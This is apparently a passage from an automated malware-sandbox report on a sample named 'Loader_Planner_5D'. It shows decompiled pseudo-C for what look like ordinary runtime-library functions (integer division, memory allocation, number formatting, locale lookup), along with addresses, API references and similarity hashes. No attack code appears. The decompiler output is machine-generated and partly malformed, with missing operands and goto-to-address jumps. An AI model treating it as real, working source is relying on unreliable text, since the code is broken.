				r10d = r10d - 1;
				if (_t252 - 1 != 0) goto 0x1065c511;
				r12d =  *(__rdx + 4);
				if (r12d != 1) goto 0x1065c456;
				_t255 =  &(__rcx[1]);
				 *__rcx = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF71065DAAC(__rax, _t252, _t255, __rdx, __rcx,  &_v532, __r9);
				goto 0x1065c857;
				if (r10d != 0) goto 0x1065c491;
				_t163 = _t255[1];
				 *_t255 = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF71065DAAC(__rax, _t252,  &(_t255[1]), __rdx, __rcx,  &_v532, __r9);
				_t180 = _t163 % r12d;
				__rcx[1] = _t180;
				bpl = _t180 != 0;
				 *__rcx = 0;
				goto 0x1065c857;
				r15d = 0xffffffff;
				if (r10d == r15d) goto 0x1065c4d5;
				asm("o16 nop [eax+eax]");
				r10d = r10d + r15d;
				if (r10d != r15d) goto 0x1065c4b0;
				r9d = 0;
				_v536 = 0;
				_t285 =  &_v532;
				 *__rcx = 0;
				_t132 = E00007FF77FF71065DAAC(__rax | _t279 << 0x00000020, _t252,  &(__rcx[1]), __rdx, __rcx, _t285, __r9);
				__rcx[1] = r14d;
				__rcx[2] = __ecx;
				bpl = __ecx != 0;
				 *__rcx = 1;
				goto 0x1065c857;
				if (_t132 - r10d > 0) goto 0x1065c855;
				r8d = r10d;
				_t269 = r10d;
				r8d = r8d - _t132;
				r9d = r10d;
				_t277 = r8d;
				if (_t269 - _t277 < 0) goto 0x1065c577;
				_t262 = (__rdx >> 0x20) + 4 + _t269 * 4;
				if ( *((intOrPtr*)(__rdx - _t277 * 4 - __rcx + _t262)) !=  *_t262) goto 0x1065c560;
				r9d = r9d - 1;
				if (_t269 - 1 - _t277 >= 0) goto 0x1065c547;
				goto 0x1065c577;
				_t271 = r9d - r8d;
				_t241 = r9d;
				if ( *((intOrPtr*)(__rdx + 4 + _t271 * 4)) -  *(__rcx + 4 + _t241 * 4) >= 0) goto 0x1065c57a;
				r8d = r8d + 1;
				_t213 = r8d;
				if (_t213 == 0) goto 0x1065c855;
				r9d =  *(__rdx + 4 + _t241 * 4);
				r11d =  *(__rdx + 4 + _t241 * 4);
				asm("inc ecx");
				_a24 = r11d;
				if (_t213 == 0) goto 0x1065c5c1;
				r12d = 0x20;
				r12d = r12d - 0x1f;
				_a8 = r12d;
				if (0x1f - _t252 - 2 == 0) goto 0x1065c60d;
				goto 0x1065c5d0;
				_a8 = 0;
				r12d = 0;
				r9d = r11d >> r12d;
				r11d = r11d << 0x20;
				r9d = r9d | r9d << 0x00000020;
				_a24 = r11d;
				if (_t163 - 2 <= 0) goto 0x1065c60d;
				r11d = r11d |  *(__rdx + 4 + _t241 * 4) >> r12d;
				_a24 = r11d;
				r14d = _t285 - 1;
				_v560 = _t279;
				if (r14d < 0) goto 0x1065c81e;
				r15d = 0xffffffff;
				_v64 = __r13;
				r13d = __rdx + _t252;
				_v552 = _t241;
				_v568 = __r9;
				if (r13d - r10d > 0) goto 0x1065c64d;
				goto 0x1065c64f;
				_a32 = 0;
				r11d =  *(__rcx + 4 + _t241 * 4);
				_v576 = _t262 - 4;
				_v572 = 0;
				if (0x20 == 0) goto 0x1065c6a7;
				r8d = r11d;
				r11d = r11d << 0x20;
				if (r13d - 3 < 0) goto 0x1065c6ac;
				_t148 =  *(__rcx + 4 + (_v576 << 0x20) * 4) >> r12d;
				r11d = r11d | _t148;
				goto 0x1065c6ac;
				_t288 = _v576;
				_t244 = _t288;
				r8d = _t148 % __r9;
				if (_t244 - _t327 <= 0) goto 0x1065c6d8;
				_t297 = _t327;
				_t289 = _t288 + 0x1;
				if (_t289 - _t327 > 0) goto 0x1065c711;
				_t267 = _t289 << 0x00000020 | _t279;
				if (0x1 - _t267 <= 0) goto 0x1065c70d;
				_t298 = _t297 - 1;
				if (_t289 + _v568 - _t327 <= 0) goto 0x1065c6f0;
				_t164 = _v584;
				if (_t298 == 0) goto 0x1065c7f0;
				r11d = 0;
				if (_t164 == 0) goto 0x1065c793;
				r15d = _a8;
				r8d = r10d;
				_t306 =  >=  ? _t279 + 0x1 >> 0x20 : (_t279 + 0x1 >> 0x20) + 1;
				r11d = r11d + 1;
				 *((intOrPtr*)(__rcx + 4 + _t267 * 4)) = __rcx[0xffffffff00000002] - r8d;
				if (r11d - _t164 < 0) goto 0x1065c740;
				_a8 = r15d;
				r15d = 0xffffffff;
				r12d = _a8;
				if (0x1 - _t306 >= 0) goto 0x1065c7ec;
				r10d = 0;
				if (_t164 == 0) goto 0x1065c7e9;
				asm("o16 nop [eax+eax]");
				r10d = r10d + 1;
				_t273 =  &(__rcx[0xffffffff00000001]);
				 *(_t273 + 4) = r8d;
				_t230 = r10d - _t164;
				if (_t230 < 0) goto 0x1065c7c0;
				r10d = __r13 - 1;
				r13d = r13d - 1;
				r14d = r14d - 1;
				_v560 = (_v560 << 0x20) + 0x1;
				if (_t230 >= 0) goto 0x1065c641;
				_t191 = _t306 + 1;
				if (_t191 -  *__rcx >= 0) goto 0x1065c83c;
				 *((intOrPtr*)(__rcx + 4 + ((0x1 + _t244) * _v568 * _t297 - _t271) * _t298 * 4)) = 0;
				if (_t191 + 1 -  *__rcx < 0) goto 0x1065c830;
				 *__rcx = _t191;
				if (_t191 == 0) goto 0x1065c850;
				_t192 = _t191 - 1;
				if ( *((intOrPtr*)(__rcx + 4 + _t273 * 4)) != 0) goto 0x1065c850;
				 *__rcx = _t192;
				if (_t192 != 0) goto 0x1065c842;
				goto 0x1065c857;
				return 0;
			}

0x7ff71065c3e0
0x7ff71065c3f6
0x7ff71065c402
0x7ff71065c408
0x7ff71065c40a
0x7ff71065c410
0x7ff71065c416
0x7ff71065c41e
0x7ff71065c424
0x7ff71065c42e
0x7ff71065c438
0x7ff71065c43c
0x7ff71065c43e
0x7ff71065c441
0x7ff71065c44a
0x7ff71065c451
0x7ff71065c459
0x7ff71065c45b
0x7ff71065c463
0x7ff71065c465
0x7ff71065c46c
0x7ff71065c475
0x7ff71065c47e
0x7ff71065c483
0x7ff71065c486
0x7ff71065c48a
0x7ff71065c48c
0x7ff71065c491
0x7ff71065c4a0
0x7ff71065c4a5
0x7ff71065c4bb
0x7ff71065c4d3
0x7ff71065c4d5
0x7ff71065c4d8
0x7ff71065c4dc
0x7ff71065c4e1
0x7ff71065c4ec
0x7ff71065c4f4
0x7ff71065c501
0x7ff71065c504
0x7ff71065c50a
0x7ff71065c50c
0x7ff71065c514
0x7ff71065c51a
0x7ff71065c51d
0x7ff71065c520
0x7ff71065c523
0x7ff71065c526
0x7ff71065c52c
0x7ff71065c543
0x7ff71065c54d
0x7ff71065c54f
0x7ff71065c55c
0x7ff71065c55e
0x7ff71065c566
0x7ff71065c569
0x7ff71065c575
0x7ff71065c577
0x7ff71065c57a
0x7ff71065c57d
0x7ff71065c588
0x7ff71065c590
0x7ff71065c595
0x7ff71065c599
0x7ff71065c5a1
0x7ff71065c5a8
0x7ff71065c5b0
0x7ff71065c5b3
0x7ff71065c5bd
0x7ff71065c5bf
0x7ff71065c5c6
0x7ff71065c5cd
0x7ff71065c5df
0x7ff71065c5e2
0x7ff71065c5e5
0x7ff71065c5e8
0x7ff71065c5f3
0x7ff71065c602
0x7ff71065c605
0x7ff71065c60d
0x7ff71065c611
0x7ff71065c61c
0x7ff71065c625
0x7ff71065c62b
0x7ff71065c633
0x7ff71065c637
0x7ff71065c63c
0x7ff71065c644
0x7ff71065c64b
0x7ff71065c64f
0x7ff71065c662
0x7ff71065c667
0x7ff71065c66c
0x7ff71065c672
0x7ff71065c679
0x7ff71065c68c
0x7ff71065c693
0x7ff71065c6a0
0x7ff71065c6a2
0x7ff71065c6a5
0x7ff71065c6a7
0x7ff71065c6ae
0x7ff71065c6b4
0x7ff71065c6bd
0x7ff71065c6cc
0x7ff71065c6d5
0x7ff71065c6db
0x7ff71065c6f7
0x7ff71065c6fd
0x7ff71065c6ff
0x7ff71065c70b
0x7ff71065c70d
0x7ff71065c714
0x7ff71065c71d
0x7ff71065c722
0x7ff71065c72c
0x7ff71065c754
0x7ff71065c76a
0x7ff71065c771
0x7ff71065c774
0x7ff71065c77b
0x7ff71065c77d
0x7ff71065c785
0x7ff71065c78b
0x7ff71065c79d
0x7ff71065c79f
0x7ff71065c7a4
0x7ff71065c7b5
0x7ff71065c7c4
0x7ff71065c7cb
0x7ff71065c7dc
0x7ff71065c7e4
0x7ff71065c7e7
0x7ff71065c7ec
0x7ff71065c7f5
0x7ff71065c807
0x7ff71065c80b
0x7ff71065c810
0x7ff71065c81e
0x7ff71065c826
0x7ff71065c834
0x7ff71065c83a
0x7ff71065c83c
0x7ff71065c840
0x7ff71065c842
0x7ff71065c848
0x7ff71065c84a
0x7ff71065c84e
0x7ff71065c853
0x7ff71065c868

APIs

memcpy_s.LIBCPMT ref: 00007FF71065C44A
memcpy_s.LIBCPMT ref: 00007FF71065C475

Strings

, xrefs: 00007FF71065C5A8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-3916222277
Opcode ID: 439c2e06281477a5e98f3a5a5365309dce85f9777c773cf1a7d0bf89815eca2a
Instruction ID: 438669d71cb4d067fb002684602bd41f8951f8de2ab07a2d240d4b5733d5b4b0
Opcode Fuzzy Hash: 439c2e06281477a5e98f3a5a5365309dce85f9777c773cf1a7d0bf89815eca2a
Instruction Fuzzy Hash: 9FC1FB72B18A8A8BD720DF19E04466AF7A2F7947E4F449235DB4A43748DB3CF909CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106328C0 Relevance: 6.4, APIs: 4, Instructions: 366
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7106328C0(long long* __rcx, void* __rdx, long long __rdi, intOrPtr* __r8, intOrPtr* __r9) {
				long long _v40;
				void* _t12;
				long long* _t39;

				if (__rdx == 0) goto 0x10632962;
				_t39 = __rcx;
				if (__rdx - 0xffffffff > 0) goto 0x10632969;
				_v40 = __rdi;
				if (__rdx - 0x1000 < 0) goto 0x1063291d;
				if (__rdx + 0x27 - __rdx <= 0) goto 0x1063296f;
				E00007FF77FF710641E18(0xffffffff, __rdx + 0x27);
				if (0xffffffff == 0) goto 0x10632963;
				 *0x8000000000000018 = 0xffffffff;
				goto 0x10632928;
				_t12 = E00007FF77FF710641E18(0xffffffff, __rdx);
				 *_t39 = 0xffffffff;
				 *((long long*)(_t39 + 8)) = 0xffffffff;
				 *((long long*)(_t39 + 0x10)) = __rdx + 0xffffffff;
				E00007FF77FF710647D30();
				 *((long long*)(_t39 + 8)) =  *__r9 -  *__r8 + 0xffffffff;
				return _t12;
			}

0x7ff7106328c3
0x7ff7106328e6
0x7ff7106328ec
0x7ff7106328ee
0x7ff7106328fa
0x7ff710632903
0x7ff710632905
0x7ff71063290d
0x7ff710632917
0x7ff71063291b
0x7ff710632920
0x7ff710632928
0x7ff71063292f
0x7ff710632933
0x7ff710632946
0x7ff710632954
0x7ff710632962

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710632963
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063296F

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 0c3dcda3f96174225bbf609cfbf2adc753bc12c84f4490cc416f7099013784c6
Instruction ID: 07d777139464df878f4a51cbfa91a8b5b06c358d6b5a1395605911157d92899c
Opcode Fuzzy Hash: 0c3dcda3f96174225bbf609cfbf2adc753bc12c84f4490cc416f7099013784c6
Instruction Fuzzy Hash: 5ED1E572A08E4385EB64AA25D04037CE793EF44BB4F948531DA9D4B7D9DE2CF489C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063AFA0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 493
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF71063AFA0(void* __edi, void* __esi, long long __rbx, void* __rcx, long long __rdx, void* __r8, long long __r9) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r13;
				void* __r15;
				signed int _t65;
				void* _t85;
				long long _t86;
				void* _t90;
				signed int _t98;
				void* _t104;
				void* _t105;
				intOrPtr _t107;
				void* _t109;
				signed long long _t127;
				signed long long _t128;
				void* _t133;
				long long _t148;
				intOrPtr _t161;
				char* _t164;
				short* _t165;
				intOrPtr _t168;
				void* _t173;
				void* _t180;
				void* _t182;
				signed long long _t183;
				void* _t199;
				long long _t200;
				void* _t202;
				long long _t203;

				_t105 = __esi;
				_t104 = __edi;
				 *((long long*)(_t182 + 8)) = __rbx;
				_t180 = _t182 - 0x17;
				_t183 = _t182 - 0xb0;
				asm("movaps [esp+0xa0], xmm6");
				_t127 =  *0x10689010; // 0xafe3859a1ce3
				_t128 = _t127 ^ _t183;
				 *(_t180 - 9) = _t128;
				_t200 = __r9;
				_t203 = __rdx;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x39], xmm0");
				 *((long long*)(_t180 - 0x29)) = __rdx;
				r9d = 0xf;
				 *((long long*)(_t180 - 0x21)) = __r9;
				 *((char*)(_t180 - 0x39)) = 0;
				_t65 =  *(__r9 + 0x18) & 0x00003000;
				asm("movsd xmm6, [ebp+0x7f]");
				if (_t65 != 0x3000) goto 0x1063b016;
				goto 0x1063b08d;
				_t107 =  *((intOrPtr*)(__r9 + 0x20));
				if (_t107 <= 0) goto 0x1063b023;
				goto 0x1063b037;
				if (_t107 != 0) goto 0x1063b032;
				if (_t65 != 0) goto 0x1063b02e;
				goto 0x1063b08d;
				goto 0x1063b037;
				_t109 = _t65 - 0x2000;
				if (_t109 != 0) goto 0x1063b08d;
				asm("movaps xmm0, xmm6");
				asm("andps xmm0, [0x43755]");
				asm("comisd xmm0, [0x4371d]");
				if (_t109 <= 0) goto 0x1063b08d;
				asm("movaps xmm0, xmm6");
				E00007FF77FF71064D6F0(6, _t180 - 0x19,  *((intOrPtr*)(__r9 + 0x20)));
				asm("cdq");
				_t161 =  *((intOrPtr*)(_t180 - 0x29));
				_t148 = 6 + _t128 + 0x32;
				if (_t148 - _t161 > 0) goto 0x1063b0ad;
				_t130 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				 *((long long*)(_t180 - 0x29)) = _t148;
				 *((char*)(( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t148)) = 0;
				goto 0x1063b0fe;
				_t173 = _t148 - _t161;
				if (_t173 -  *((intOrPtr*)(_t180 - 0x21)) - _t161 > 0) goto 0x1063b0e5;
				 *((long long*)(_t180 - 0x29)) = _t148;
				_t144 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				_t145 = ( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161;
				E00007FF77FF7106441A0();
				 *((char*)(( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161 + _t173)) = 0;
				goto 0x1063b0fe;
				 *((char*)(_t183 + 0x20)) = 0;
				r8d =  *(_t180 - 0x59) & 0x000000ff;
				E00007FF77FF71062BC80(_t180 - 0x39, _t173, _t173, _t180, _t173, __r8, _t203, _t202);
				r8d =  *(__r9 + 0x18);
				 *((char*)(_t180 - 0x11)) = 0x25;
				asm("inc ecx");
				_t78 =  <  ? 0x2b :  *(_t180 - 0x10) & 0x000000ff;
				 *(_t180 - 0x10) =  <  ? 0x2b :  *(_t180 - 0x10) & 0x000000ff;
				_t133 = _t180 - 0xf;
				_t164 =  <  ? _t133 : _t180 - 0x10;
				if ((r8b & 0x00000010) == 0) goto 0x1063b132;
				 *_t164 = 0x23;
				_t165 = _t164 + 1;
				 *_t165 = 0x2a2e;
				 *((char*)(_t165 + 2)) = 0x4c;
				_t98 = r8d & 0x00003000;
				if ((r8b & 0x00000004) == 0) goto 0x1063b16d;
				if (_t98 != 0x2000) goto 0x1063b156;
				goto 0x1063b19a;
				if (_t98 != 0x3000) goto 0x1063b162;
				goto 0x1063b19a;
				_t43 = _t133 - 2; // 0x45
				r8d = _t43;
				goto 0x1063b190;
				if (_t98 != 0x2000) goto 0x1063b179;
				goto 0x1063b19a;
				if (_t98 != 0x3000) goto 0x1063b185;
				goto 0x1063b19a;
				r8d = 0x65;
				_t85 =  ==  ? r8d : 0x67;
				 *((char*)(_t165 + 3)) = 0x61;
				 *((char*)(_t165 + 4)) = 0;
				_t152 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				asm("movsd [esp+0x20], xmm6");
				r9d = _t105;
				_t86 = E00007FF77FF710639060(_t133,  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39,  *((intOrPtr*)(_t180 - 0x29)), _t180 - 0x11, _t173, _t199);
				_t135 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				asm("inc ecx");
				asm("movaps [ebp-0x49], xmm0");
				 *((long long*)(_t183 + 0x30)) = _t86;
				 *((long long*)(_t183 + 0x28)) =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				 *((char*)(_t183 + 0x20)) =  *(_t180 + 0x77) & 0x000000ff;
				E00007FF77FF71063C640(0x2b, _t104, ( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161, _t203, _t180 - 0x49, _t200);
				_t168 =  *((intOrPtr*)(_t180 - 0x21));
				if (_t168 - 0x10 < 0) goto 0x1063b23b;
				if (_t168 + 1 - 0x1000 < 0) goto 0x1063b236;
				if ( *((intOrPtr*)(_t180 - 0x39)) -  *((intOrPtr*)( *((intOrPtr*)(_t180 - 0x39)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063b26d;
				_t90 = E00007FF77FF710641DF0(E00007FF77FF710641E10( *((intOrPtr*)(_t180 - 0x39)) -  *((intOrPtr*)( *((intOrPtr*)(_t180 - 0x39)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t180 - 0x39)) - 8))), _t98,  *(_t180 - 9) ^ _t183);
				asm("movaps xmm6, [esp+0xa0]");
				return _t90;
			}

0x7ff71063afa0
0x7ff71063afa0
0x7ff71063afa0
0x7ff71063afb0
0x7ff71063afb5
0x7ff71063afbc
0x7ff71063afc4
0x7ff71063afcb
0x7ff71063afce
0x7ff71063afd2
0x7ff71063afd8
0x7ff71063afde
0x7ff71063afe1
0x7ff71063afe7
0x7ff71063afeb
0x7ff71063aff1
0x7ff71063aff5
0x7ff71063affc
0x7ff71063b001
0x7ff71063b00b
0x7ff71063b014
0x7ff71063b01a
0x7ff71063b01d
0x7ff71063b021
0x7ff71063b023
0x7ff71063b027
0x7ff71063b02c
0x7ff71063b030
0x7ff71063b03a
0x7ff71063b03f
0x7ff71063b041
0x7ff71063b044
0x7ff71063b04b
0x7ff71063b053
0x7ff71063b059
0x7ff71063b05c
0x7ff71063b064
0x7ff71063b089
0x7ff71063b08d
0x7ff71063b094
0x7ff71063b09e
0x7ff71063b0a3
0x7ff71063b0a7
0x7ff71063b0ab
0x7ff71063b0b0
0x7ff71063b0bc
0x7ff71063b0be
0x7ff71063b0ca
0x7ff71063b0cf
0x7ff71063b0da
0x7ff71063b0df
0x7ff71063b0e3
0x7ff71063b0e5
0x7ff71063b0ed
0x7ff71063b0f9
0x7ff71063b0fe
0x7ff71063b102
0x7ff71063b106
0x7ff71063b114
0x7ff71063b117
0x7ff71063b11e
0x7ff71063b122
0x7ff71063b12a
0x7ff71063b12c
0x7ff71063b12f
0x7ff71063b132
0x7ff71063b137
0x7ff71063b13e
0x7ff71063b148
0x7ff71063b150
0x7ff71063b154
0x7ff71063b15c
0x7ff71063b160
0x7ff71063b167
0x7ff71063b167
0x7ff71063b16b
0x7ff71063b173
0x7ff71063b177
0x7ff71063b17f
0x7ff71063b183
0x7ff71063b18a
0x7ff71063b196
0x7ff71063b19a
0x7ff71063b19d
0x7ff71063b1aa
0x7ff71063b1af
0x7ff71063b1b5
0x7ff71063b1c0
0x7ff71063b1d1
0x7ff71063b1d6
0x7ff71063b1db
0x7ff71063b1df
0x7ff71063b1e4
0x7ff71063b1ed
0x7ff71063b1fe
0x7ff71063b204
0x7ff71063b20c
0x7ff71063b21f
0x7ff71063b234
0x7ff71063b245
0x7ff71063b252
0x7ff71063b26c

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063B26D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063B549

Strings

%, xrefs: 00007FF71063B57E

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %
API String ID: 3668304517-2567322570
Opcode ID: d705c77b00092e555fcf5d7e9ba870cc66bfee86d246deed7f4756cdf16191d6
Instruction ID: 10f54daab405227a64d5c985468cfa9cb32bd15d455aba97ab8de13f9b2f9063
Opcode Fuzzy Hash: d705c77b00092e555fcf5d7e9ba870cc66bfee86d246deed7f4756cdf16191d6
Instruction Fuzzy Hash: 55123522B08A8589FB259F65D4503FDA762EB547A8F845131DF4D1BB89DF3CE448C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710660F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF710621A25), ref: 00007FF710660F76
FormatMessageA.KERNEL32 ref: 00007FF710660FA5

Strings

!x-sys-default-locale, xrefs: 00007FF710660F69

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 1b64e12df5ab522377cfcf974011863cb8be1d74bc5f821aa03b34a0d3b0fb92
Instruction ID: 4127bad409eab6e06ca2dfe47e841fcbb1c17ad5aa0529d9d283751f04b7aa88
Opcode Fuzzy Hash: 1b64e12df5ab522377cfcf974011863cb8be1d74bc5f821aa03b34a0d3b0fb92
Instruction Fuzzy Hash: 3A01B576B18F8542E7209B11F4447BAF7B2F7487A4F848135EA4912B89CF3CE509CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065B63C Relevance: 4.7, APIs: 3, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF71065B63C(void* __ecx, void* __edx, void* __ebp, long long __rbx, void* __rcx, void* __rdx) {
				void* __rsi;
				signed int _t47;
				int _t48;
				void* _t49;
				void* _t55;
				signed int _t63;
				signed int _t72;
				signed int _t81;
				signed long long _t123;
				signed long long _t124;
				void* _t130;
				void* _t149;
				signed int* _t150;
				int _t152;
				intOrPtr* _t153;
				signed long long _t155;
				signed long long _t156;
				void* _t159;
				signed long long _t160;
				void* _t168;

				_t143 = __rdx;
				 *((long long*)(_t159 + 0x10)) = __rbx;
				 *(_t159 + 0x18) = _t155;
				_t160 = _t159 - 0x120;
				_t123 =  *0x10689010; // 0xafe3859a1ce3
				_t124 = _t123 ^ _t160;
				 *(_t160 + 0x110) = _t124;
				_t130 = __rcx;
				E00007FF77FF710650904(_t124, __rcx, __rdx, _t152, _t168);
				_t4 = _t124 + 0x98; // 0x98
				_t153 = _t4;
				E00007FF77FF710650904(_t124, _t130, _t143, _t153, _t149);
				_t150 =  *((intOrPtr*)(_t124 + 0x3a0));
				_t47 = E00007FF77FF71065B990(_t130, _t143);
				r9d = 0x78;
				_t72 = _t47;
				asm("sbb edx, edx");
				_t48 = GetLocaleInfoW(_t152, ??, ??);
				r14d = 0;
				if (_t48 == 0) goto 0x1065b856;
				_t49 = E00007FF77FF71065EF4C(_t124,  *((intOrPtr*)(_t153 + 8)));
				_t156 = _t155 | 0xffffffff;
				if (_t49 != 0) goto 0x1065b78b;
				_t11 = _t168 + 0x78; // 0x78
				r9d = _t11;
				asm("sbb edx, edx");
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0x1065b856;
				if (E00007FF77FF71065EF4C(_t124,  *_t153) != 0) goto 0x1065b71d;
				_t150[1] = _t72;
				goto 0x1065b786;
				if ((( *_t150 | 0x00000304) & 0x00000002) != 0) goto 0x1065b78b;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0x1065b765;
				_t55 = E00007FF77FF71065F108(_t124,  *_t153);
				if (_t55 != 0) goto 0x1065b763;
				_t81 =  *_t150 | 0x00000002;
				_t150[2] = _t72;
				 *_t150 = _t81;
				if ( *((intOrPtr*)( *_t153 + (_t156 + 1) * 2)) != r14w) goto 0x1065b74f;
				if (_t55 !=  *((intOrPtr*)(_t153 + 0x14))) goto 0x1065b78b;
				_t150[1] = _t72;
				goto 0x1065b78b;
				if ((_t81 & 0x00000001) != 0) goto 0x1065b78b;
				if (_t72 ==  *0x10670718) goto 0x1065b78b;
				if (r14d + 1 - 0xa < 0) goto 0x1065b773;
				_t150[2] = _t72;
				 *_t150 = _t81 | 0x00000001;
				if (( *_t150 & 0x00000300) == 0x300) goto 0x1065b84a;
				r9d = 0x78;
				asm("sbb edx, edx");
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0x1065b856;
				if (E00007FF77FF71065EF4C(0x7ff71067071a,  *_t153) != 0) goto 0x1065b810;
				_t63 =  *_t150;
				asm("bts eax, 0x9");
				 *_t150 = _t63;
				if ( *((intOrPtr*)(_t153 + 0x18)) == r14d) goto 0x1065b7f1;
				asm("bts eax, 0x8");
				 *_t150 = _t63;
				goto 0x1065b841;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0x1065b7e9;
				if ( *((intOrPtr*)( *_t153 + (_t156 + 1) * 2)) != r14w) goto 0x1065b7fa;
				if (__ebp !=  *((intOrPtr*)(_t153 + 0x14))) goto 0x1065b7e9;
				goto 0x1065b82f;
				if ( *((intOrPtr*)(_t153 + 0x18)) != r14d) goto 0x1065b84a;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0x1065b84a;
				if (E00007FF77FF71065EF4C(0x7ff71067071a,  *_t153) != 0) goto 0x1065b84a;
				if (E00007FF77FF71065BA90(_t72, 0, 0x7ff71067071a, _t130,  *_t153, _t160 + 0x20, _t153) == 0) goto 0x1065b84a;
				asm("bts dword [edi], 0x8");
				if (_t150[1] != r14d) goto 0x1065b84a;
				_t150[1] = _t72;
				goto 0x1065b85e;
				 *_t150 = r14d;
				return E00007FF77FF710641DF0(1, _t72,  *(_t160 + 0x110) ^ _t160);
			}

0x7ff71065b63c
0x7ff71065b63c
0x7ff71065b641
0x7ff71065b64a
0x7ff71065b651
0x7ff71065b658
0x7ff71065b65b
0x7ff71065b663
0x7ff71065b666
0x7ff71065b66b
0x7ff71065b66b
0x7ff71065b672
0x7ff71065b67a
0x7ff71065b681
0x7ff71065b690
0x7ff71065b698
0x7ff71065b69a
0x7ff71065b6a8
0x7ff71065b6ae
0x7ff71065b6b3
0x7ff71065b6c2
0x7ff71065b6c7
0x7ff71065b6cd
0x7ff71065b6d6
0x7ff71065b6d6
0x7ff71065b6e3
0x7ff71065b6f9
0x7ff71065b710
0x7ff71065b718
0x7ff71065b71b
0x7ff71065b720
0x7ff71065b728
0x7ff71065b736
0x7ff71065b73f
0x7ff71065b741
0x7ff71065b744
0x7ff71065b747
0x7ff71065b757
0x7ff71065b75c
